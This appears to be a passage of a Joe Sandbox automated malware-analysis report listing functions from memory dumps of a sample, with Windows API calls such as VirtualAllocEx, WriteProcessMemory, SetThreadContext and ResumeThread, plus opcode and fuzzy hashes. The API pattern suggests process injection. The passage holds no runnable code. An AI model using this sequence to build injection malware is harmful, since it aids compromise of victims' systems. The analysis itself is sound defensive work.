Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: afdd303d33008e63ef27f0095beb918d60d80837117f574eb45d2114434e7ac6
Instruction ID: 6e74cba42382e269cf96529f39c661cc93c8086e829d8f8cc4566edfcd62ad86
Opcode Fuzzy Hash: afdd303d33008e63ef27f0095beb918d60d80837117f574eb45d2114434e7ac6
Instruction Fuzzy Hash: 74214AB1D003499FDB10DFAAC985BDEBBF5FF48310F14842AE919A7240C778A954DBA4

Function 06FDF5F0 Relevance: 1.6, APIs: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06FDF655

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 2615a219edd67a572e8b8a89adb93c628efc297b9a466d8aa2d3b81da0a81bb3
Instruction ID: cdfb0cca5901683cb80340e7868b5f58b1a6b2fc53cf3ca4a747ed9eb364cd90
Opcode Fuzzy Hash: 2615a219edd67a572e8b8a89adb93c628efc297b9a466d8aa2d3b81da0a81bb3
Instruction Fuzzy Hash: 3E2136B6800349CFDB10DF9AD848BDEFBF4EB48324F24841AD559A3650C375A584CFA1

Function 0110D7B8 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0110D847

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b83448edcd7d6f9b3667bff943dfe5b30117069ac0e23f2d2cdadd39b181b742
Instruction ID: adac0b7dad18afea92a9bdd622aa3ccb14dbe850288e3961a404813d755e70a8
Opcode Fuzzy Hash: b83448edcd7d6f9b3667bff943dfe5b30117069ac0e23f2d2cdadd39b181b742
Instruction Fuzzy Hash: 4D21E4B5D002489FDB10DFAAD984ADEFFF5EB48310F14801AE918A7351D379AA44DFA1

Function 06FDB150 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06FDB1D8

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2d06f528871f634887e7348b675abba9daea0dc3ebc487a9f4628569c0a4e167
Instruction ID: c33240b3dafc19602a88f984294f71d20583525a9ee6aed8839a6dacce9d6432
Opcode Fuzzy Hash: 2d06f528871f634887e7348b675abba9daea0dc3ebc487a9f4628569c0a4e167
Instruction Fuzzy Hash: 862124B19003498FCB10DFA9C884AEEBBF1FF48320F14842AE959A7241C738A555DB61

Function 06FDB158 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06FDB1D8

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6d52bb8fa97914c0e1f7258a58c9cb9661594d97a6c54fd0cab8dfa2b5aef41e
Instruction ID: 326ba948b013ec09d7b69683816454021125ee0c614c410d2a7b48e786ff8180
Opcode Fuzzy Hash: 6d52bb8fa97914c0e1f7258a58c9cb9661594d97a6c54fd0cab8dfa2b5aef41e
Instruction Fuzzy Hash: 942139B1C003499FCB10DFAAC845ADEFBF5FF48310F50842AE919A7240C778A944DBA5

Function 06FDAED0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06FDAF4E

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8a1b46468529c951b1ebc36e081756b01dc42f0338713c617d3a039272e08a62
Instruction ID: 8c69f4dd8d012bf4a0b07a51f70dcdfe641cb084c5c485495f35eb112c3e8121
Opcode Fuzzy Hash: 8a1b46468529c951b1ebc36e081756b01dc42f0338713c617d3a039272e08a62
Instruction Fuzzy Hash: 092129B1D003098FDB10DFAAC4857EEBBF5EF88324F14842AD559A7241CB78A945CFA5

Function 0110D7C0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0110D847

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 53a49de093ff5e954727a982803eb74f87647ac4b9ecf6b4fc3ff65806c4122c
Instruction ID: dc49ec7aa3362a37e34cfdf9748d9eda72a68a0820fef4a6858a946960b80e65
Opcode Fuzzy Hash: 53a49de093ff5e954727a982803eb74f87647ac4b9ecf6b4fc3ff65806c4122c
Instruction Fuzzy Hash: C521C4B5D002489FDB10DF9AD984ADEBFF5EB48310F14841AE918A3350D774A954CFA5

Function 06FDAFA0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06FDB016

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bdeb9f0ddaa073e3f54920e0ecb0f9c437e65694f57a651b97e8a5dd508b23d0
Instruction ID: eab537c00d793384c4ba0daf7f3b235dec0f4cc14f1a76601354e26c785512b7
Opcode Fuzzy Hash: bdeb9f0ddaa073e3f54920e0ecb0f9c437e65694f57a651b97e8a5dd508b23d0
Instruction Fuzzy Hash: 511159B18003489FCB20DFAAC845ADEBFF6EB88320F148419E519A7250CB75A544CBA1

Function 06FDAFA8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06FDB016

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3aa314ce2c54a3a44732a3afa227e53caa3020d1fdfc6d4afdf14eb1d01676b1
Instruction ID: 032febc194007a763a009bde8ebb78eb8cc016ef1594c4b192665068f2c34079
Opcode Fuzzy Hash: 3aa314ce2c54a3a44732a3afa227e53caa3020d1fdfc6d4afdf14eb1d01676b1
Instruction Fuzzy Hash: 621137B19003499FCB10DFAAC845ADFBFF6EF88320F248419E519A7250CB75A954DFA1

Function 06FDA9E0 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06FDAA4A

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0491c606f029413b3cf3c6141e5ecb132182f9c619e5a0b2b44c72c3c0a0f39d
Instruction ID: 4eefdbbf2ce6844b7b0d1af6ef869a484ae2ad4a21ba2fc7105d2e0e6ca5005e
Opcode Fuzzy Hash: 0491c606f029413b3cf3c6141e5ecb132182f9c619e5a0b2b44c72c3c0a0f39d
Instruction Fuzzy Hash: DE1158B1D002498FDB10DFAAC4447EEFBF5EF88324F24841AD119A7240CB756545CB94

Function 06FDA9E8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06FDAA4A

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: edf7eefd4d6f9fbec5c9f71dbfa8ce9d3f3660a88415a9a77e81d0335b7583f3
Instruction ID: a1a34dcb487974c785e3161d333a95c96771ff1e35d8982b34c48e0e82d835da
Opcode Fuzzy Hash: edf7eefd4d6f9fbec5c9f71dbfa8ce9d3f3660a88415a9a77e81d0335b7583f3
Instruction Fuzzy Hash: 321136B1D003488FDB10DFAAC8457DEFBF5EB88324F24841AD519A7240CB79A944CFA5

Function 0110B4E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0110B546

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b2f83bd5a88cf4f77f532aa39df90c6ccdfcb476c2590b9e3aa9165a934bd885
Instruction ID: 95e02efe0dffe06315eafd52f87acfdb90df1d42b072aa9f20f75bb093c11ef4
Opcode Fuzzy Hash: b2f83bd5a88cf4f77f532aa39df90c6ccdfcb476c2590b9e3aa9165a934bd885
Instruction Fuzzy Hash: 22110FB5C003498FDB14DF9AC444ADEFBF4EB89324F10845AD519B7250C3B9A545CFA5

Function 06FDEF68 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06FDF655

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a0080e564b9f6b3f8f57fb52f522260bad2d2f044c7a4a6a2354c780c8a25c03
Instruction ID: d2a3ea619842659710bd41fd6e852df0fffe4c2fe66faa47f763da416bb41af2
Opcode Fuzzy Hash: a0080e564b9f6b3f8f57fb52f522260bad2d2f044c7a4a6a2354c780c8a25c03
Instruction Fuzzy Hash: 4C1122B5800348DFDB10DF8AC948BDEBBF8EB49320F20845AE519A3610C375A944CFA1

Function 0106D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722437843.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_106d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02aeb19829fa60a4439d8ae7ad3882d4c41226b51a5a359508789efce3e77e3e
Instruction ID: 66efd0c81d8aa0e50ca91b85a4c2d1d91df4f379d0b403f2c765678632fe44eb
Opcode Fuzzy Hash: 02aeb19829fa60a4439d8ae7ad3882d4c41226b51a5a359508789efce3e77e3e
Instruction Fuzzy Hash: 92212871604240DFDB05DF58D9C0B2ABFA9FB88318F24C5A9D9890B656C336D456C7A1

Function 0106D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722437843.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_106d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e77126fc5df5d9745f1615bbe5b0634a3014add2793b1710eafaff4709e04e4
Instruction ID: 1db7f30d3281e211e2bba2188c18aae15f4f477fe2fb14f8f803e62253b4f0be
Opcode Fuzzy Hash: 9e77126fc5df5d9745f1615bbe5b0634a3014add2793b1710eafaff4709e04e4
Instruction Fuzzy Hash: 88214B71600244DFDB01DF44C9C0B56BFA9FB98324F24C5ADD98A0B246C736E816C7A1

Function 0107D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722484629.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d77db530b80505251a14c750affa53f2afe8e606d36e459aa1d9be5adad7a1
Instruction ID: f393caf8f80da3f9f2cc756374cbb43f1d270382ce4749607258fa23f11b9740
Opcode Fuzzy Hash: 35d77db530b80505251a14c750affa53f2afe8e606d36e459aa1d9be5adad7a1
Instruction Fuzzy Hash: 8821F571A04200EFDB05DF98D9C4B25BBA5FF94324F24C6ADD98A4B252C336D407CB65

Function 0107D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722484629.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c6a4eec76f0c357d5547d964ae3d20489aff49c703dbff85c4ea4d1caf1dcc1
Instruction ID: 50452b8e8bc483d83a83cff2840f7917b4a67d8beb56fc814440e6ade7fdb27d
Opcode Fuzzy Hash: 8c6a4eec76f0c357d5547d964ae3d20489aff49c703dbff85c4ea4d1caf1dcc1
Instruction Fuzzy Hash: 17210375A04200DFCB16DF58D984B16BBA5EF84314F24C9ADE98A0B242C336D407CBA1

Function 0107D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722484629.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596371d9e6db6eea60e05a184fc45ed029809dec83d477d755f3bb90bd5ab719
Instruction ID: 9d26f8f2a375b2d17d0cbf0288df8a63865858e428fbe5173df689122ee25e0e
Opcode Fuzzy Hash: 596371d9e6db6eea60e05a184fc45ed029809dec83d477d755f3bb90bd5ab719
Instruction Fuzzy Hash: 402187755093808FD713CF64D594715BFB1EF46214F28C5DAD8898F6A7C33A980ACBA2

Function 0106D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722437843.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_106d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: 914a36559e40f466dc25349bc394c74dc1eb2be1943079c5790016582577783f
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction Fuzzy Hash: 61110376604240CFDB02CF44D5C4B56BFB2FB84324F24C2A9D9890B257C33AE85ACBA1

Function 0106D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722437843.000000000106D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0106D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_106d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: b0c1f960a2c5f4feb9e7ad51ac37fbe97e3b69d26fe71537e2011e8b6d99b230
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction Fuzzy Hash: 7811D376A04280CFDB16CF54D5C4B16BFB2FB84324F24C6A9D9890B657C336D45ACBA1

Function 0107D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722484629.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: c403a41d9e0b5b4f9a6990dc20e082962c936bd1ceb1980e25aa1cf2fc017d94
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 1F11A975904280DFDB02CF54C5C4B15BBA2FB84224F28C6A9D8894B296C33AD40BCB61

Function 07090D58 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729874421.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb00ac495cfea946fc79938eb9ff7505400510aa9af7ac5eb9afa75938f5e19c
Instruction ID: e431567294ef28474dd6e9307835342ab7beded4a1c40ba15f127c6eeaeda0c1
Opcode Fuzzy Hash: bb00ac495cfea946fc79938eb9ff7505400510aa9af7ac5eb9afa75938f5e19c
Instruction Fuzzy Hash: 341109B0D0925ADFCB519FB494487FDBFF0AB46301F1485AAD4A5A7292D3748A44DB10

Function 07090D68 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729874421.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ffb0da9e0fd9de8835a1ea46cf15d0593cf57183738e4ab4507125e69b39fff
Instruction ID: 63e5f9b5f6d108e3e9fffef4b3b661831ac9cc76694b4ca90d9086d0348c068b
Opcode Fuzzy Hash: 8ffb0da9e0fd9de8835a1ea46cf15d0593cf57183738e4ab4507125e69b39fff
Instruction Fuzzy Hash: 66011AB0D0521AEFCB14DFA5C8087FDBBF0BB4A301F0485A99465A3291D7789A44DF54

Function 07090DE4 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729874421.0000000007090000.00000040.00000800.00020000.00000000.sdmp, Offset: 07090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7090000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4df052adfffb502592b45a37b8732fd4ca3058d48f292d728cb9f675fce234
Instruction ID: b4af9c7dff4ada7fba51da02c95d9ef5997de35cb4242071b1757840f45887d5
Opcode Fuzzy Hash: 0d4df052adfffb502592b45a37b8732fd4ca3058d48f292d728cb9f675fce234
Instruction Fuzzy Hash: 5EF0B4B0D09265DFCB018FA5D8545BCBFB0EB4B202F0481E6E495A7292D2399644EB10

Non-executed Functions

Function 06FD80BE Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 373dfbde02a39f2b5c5ad0d2908779386fda93eeeb43b7480590c37ccb34e6f1
Instruction ID: abe382ddcce4ef75ea3ed323e35fed93773aa728b8f53a754db0e6baa24099df
Opcode Fuzzy Hash: 373dfbde02a39f2b5c5ad0d2908779386fda93eeeb43b7480590c37ccb34e6f1
Instruction Fuzzy Hash: F0E13D74E012598FCB14DFA9C5809AEFBB2FF89304F288169D415AB356D731AD42CFA1

Function 06FD17A8 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7a7a145ec8d320013928648830c0515928b160ba3377277e1dc9824ccb4d18
Instruction ID: ff8d4bfb6d365abd88bd4d332cdd1f1757528bd9df913861525fb38c55fc98d5
Opcode Fuzzy Hash: 0d7a7a145ec8d320013928648830c0515928b160ba3377277e1dc9824ccb4d18
Instruction Fuzzy Hash: 4AD1E471E09219DF9B48CFAAD98059EFBF2BF89300F18952AD415AB224D734A942CF54

Function 06FD8538 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe077b93c7fc761f2a624ebc8f423f3848c5fb5d06e34f66e74f77336b8537f
Instruction ID: 2064359877bc182cb50f5495a7235d9e740eb828a858ba5dca4d52fd7b161513
Opcode Fuzzy Hash: fbe077b93c7fc761f2a624ebc8f423f3848c5fb5d06e34f66e74f77336b8537f
Instruction Fuzzy Hash: A1E10A74E002198FCB54DFA9C5809AEFBB2FF89304F248169E419AB355D731AD42CFA1

Function 06FDA1C0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f1a5d3793b0f7de19300a281f68c9d9828dd7387dabea56b8f43a3216e7138
Instruction ID: 962ae3317c0832cdfd0e94c93ea0fe999d0b693e18b06eea855360838393567c
Opcode Fuzzy Hash: 54f1a5d3793b0f7de19300a281f68c9d9828dd7387dabea56b8f43a3216e7138
Instruction Fuzzy Hash: 31E1FB74E002198FDB14DFA9C5809AEFBF2FF89304F288169E415AB355DB31A942CF65

Function 06FDAA98 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56ad79d592505e5b724512ac8344177c3e8db4b553a6dfdee449f3d803c30748
Instruction ID: 320c6db9d13409185e752502a5075257c2cfe694c09bbc3c3404b3de11dc7bf6
Opcode Fuzzy Hash: 56ad79d592505e5b724512ac8344177c3e8db4b553a6dfdee449f3d803c30748
Instruction Fuzzy Hash: 03E1FB74E002198FDB14DFA9C5809AEFBF2FF89304F248169D419AB355DB31A942CFA5

Function 06FD8970 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be2d1576ac42101fc35108d915f02a0c0992b5789a31193b9e935a83999093e7
Instruction ID: a2c87b05406ee20321943892821dcf36ec054269af346b60a56fd2e0cc9a6502
Opcode Fuzzy Hash: be2d1576ac42101fc35108d915f02a0c0992b5789a31193b9e935a83999093e7
Instruction Fuzzy Hash: 3AE10B74E012198FDB14DFA9C5809AEFBB2FF89304F248269D419AB355D731A942CF61

Function 06FD1798 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcd53eb1c406ec468631f7a486e1cd9659e1741706dee1c98dcfd43b7b4a1eda
Instruction ID: e9c240a22c43633520367260e4ca097f3e3e9a3ce085e128925905feb79235a2
Opcode Fuzzy Hash: bcd53eb1c406ec468631f7a486e1cd9659e1741706dee1c98dcfd43b7b4a1eda
Instruction Fuzzy Hash: 58D1D371E09219DFDB48CFAAD98059EFBF2BF89300F18952AD415EB224D734A942CF54

Function 06FD1270 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd5f7abf8f7d20082966c6dd6ec31a98e535ef94ace9df9cd6bfd984c795a5ed
Instruction ID: f81b085de52e600937b79388f58d4d9229f947130632edade4b25dccb21bbc37
Opcode Fuzzy Hash: cd5f7abf8f7d20082966c6dd6ec31a98e535ef94ace9df9cd6bfd984c795a5ed
Instruction Fuzzy Hash: BEB12475E04219DFEB58CFE6D88059EFBB6FF89300F24942AD415AB264DB35A902CF44

Function 06FD1260 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8be9e12307bf926b9410ab22c81409237b98389b5d52b99e8bafa1b1212571d
Instruction ID: 55a7b66f7eb3420c559aced479ba61a0671023f35bf9a0b1167239e62ccfc1a8
Opcode Fuzzy Hash: f8be9e12307bf926b9410ab22c81409237b98389b5d52b99e8bafa1b1212571d
Instruction Fuzzy Hash: F2B13576E04219DFDB58CFE6D88059EFBB2BF89300F24942AD415EB264DB35A902CF44

Function 0110E12C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722705309.0000000001100000.00000040.00000800.00020000.00000000.sdmp, Offset: 01100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1100000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dbe731dd0ed5b8e7e361eaa70ad24d564bb3770c41f2fafb10e916d7b0ed5cf
Instruction ID: 7871fbc9e00c023bfedc93a39bec4cddfbccc2914a61932a7d89bca2c206f2c5
Opcode Fuzzy Hash: 0dbe731dd0ed5b8e7e361eaa70ad24d564bb3770c41f2fafb10e916d7b0ed5cf
Instruction Fuzzy Hash: 9BA18132E00216DFCF1ADFB5C8404DEBBB2FF85304B15456AE905AB2A5DB71D956CB40

Function 06FD0270 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729639679.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fd0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d770573a2551dfd8a8462e61356cc3978538621d06b5320f200fa7d459d5d3a
Instruction ID: d4783126a31adf55395bd657dfaa338cc2a6b6a792c4417ecbe48572811cea85
